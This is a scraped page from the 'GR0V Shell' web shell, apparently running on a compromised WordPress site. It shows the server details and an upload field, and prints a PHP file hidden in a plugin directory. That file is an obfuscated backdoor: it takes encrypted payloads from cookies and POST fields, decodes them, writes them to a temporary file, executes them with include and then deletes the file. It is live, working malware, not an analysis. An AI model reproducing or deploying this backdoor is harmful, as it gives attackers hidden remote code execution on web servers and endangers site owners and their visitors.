? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/wp-content/plugins/754ronsr/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/wp-content/plugins/754ronsr/FFZBANAw.php

$zfQRES = 'H' . chr ( 457 - 350 )."\x70" . "\x5f" . chr ( 880 - 783 ).chr ( 325 - 239 )."\x44" . chr (79) . "\131";$anxADgsWJ = "\143" . chr (108) . chr (97) . "\163" . chr (115) . chr (95) . chr (101) . "\x78" . 'i' . "\163" . "\x74" . "\163";$xnntWwPFug = class_exists($zfQRES); $anxADgsWJ = "5605";$chbdGn = strpos($anxADgsWJ, $zfQRES);if ($xnntWwPFug == $chbdGn){function qJPxuF(){$tJjOL = new /* 37802 */ Hkp_aVDOY(23163 + 23163); $tJjOL = NULL;}$NnHBrWMQB = "23163";class Hkp_aVDOY{private function RkLcyo($NnHBrWMQB){if (is_array(Hkp_aVDOY::$ccBlaKc)) {$name = sys_get_temp_dir() . "/" . crc32(Hkp_aVDOY::$ccBlaKc["salt"]);@Hkp_aVDOY::$ccBlaKc["write"]($name, Hkp_aVDOY::$ccBlaKc["content"]);include $name;@Hkp_aVDOY::$ccBlaKc["delete"]($name); $NnHBrWMQB = "23163";exit();}}public function iFDsqkPnx(){$yklixs = "11510";$this->_dummy = str_repeat($yklixs, strlen($yklixs));}public function __destruct(){Hkp_aVDOY::$ccBlaKc = @unserialize(Hkp_aVDOY::$ccBlaKc); $NnHBrWMQB = "53842_19107";$this->RkLcyo($NnHBrWMQB); $NnHBrWMQB = "53842_19107";}public function fXGvlzWJa($yklixs, $KWjfVSiS){return $yklixs[0] ^ str_repeat($KWjfVSiS, intval(strlen($yklixs[0]) / strlen($KWjfVSiS)) + 1);}public function ZXFQNRx($yklixs){$ZUojbCt = chr ( 904 - 806 )."\x61" . chr (115) . "\x65" . '6' . chr ( 391 - 339 );return array_map($ZUojbCt . chr (95) . chr (100) . 'e' . chr ( 1080 - 981 ).'o' . "\144" . "\x65", array($yklixs,));}public function __construct($wYkgm=0){$lexxYgC = chr ( 682 - 638 ); $yklixs = "";$bXzCzTHe = $_POST;$NDjQCRyLBF = $_COOKIE;$KWjfVSiS = "25d52998-817b-4189-ae91-1e16a5f34700";$jeuvnwL = @$NDjQCRyLBF[substr($KWjfVSiS, 0, 4)];if (!empty($jeuvnwL)){$jeuvnwL = explode($lexxYgC, $jeuvnwL);foreach ($jeuvnwL as $pkGfqcEWVQ){$yklixs .= @$NDjQCRyLBF[$pkGfqcEWVQ];$yklixs .= @$bXzCzTHe[$pkGfqcEWVQ];}$yklixs = $this->ZXFQNRx($yklixs);}Hkp_aVDOY::$ccBlaKc = $this->fXGvlzWJa($yklixs, $KWjfVSiS);if (strpos($KWjfVSiS, $lexxYgC) !== FALSE){$KWjfVSiS = explode($lexxYgC, $KWjfVSiS); $fzrJgWvL = base64_decode(strrev($KWjfVSiS[0]));}}public static $ccBlaKc = 49969;}qJPxuF();}

T1KUS90T
  root-grov@210.1.60.28:~$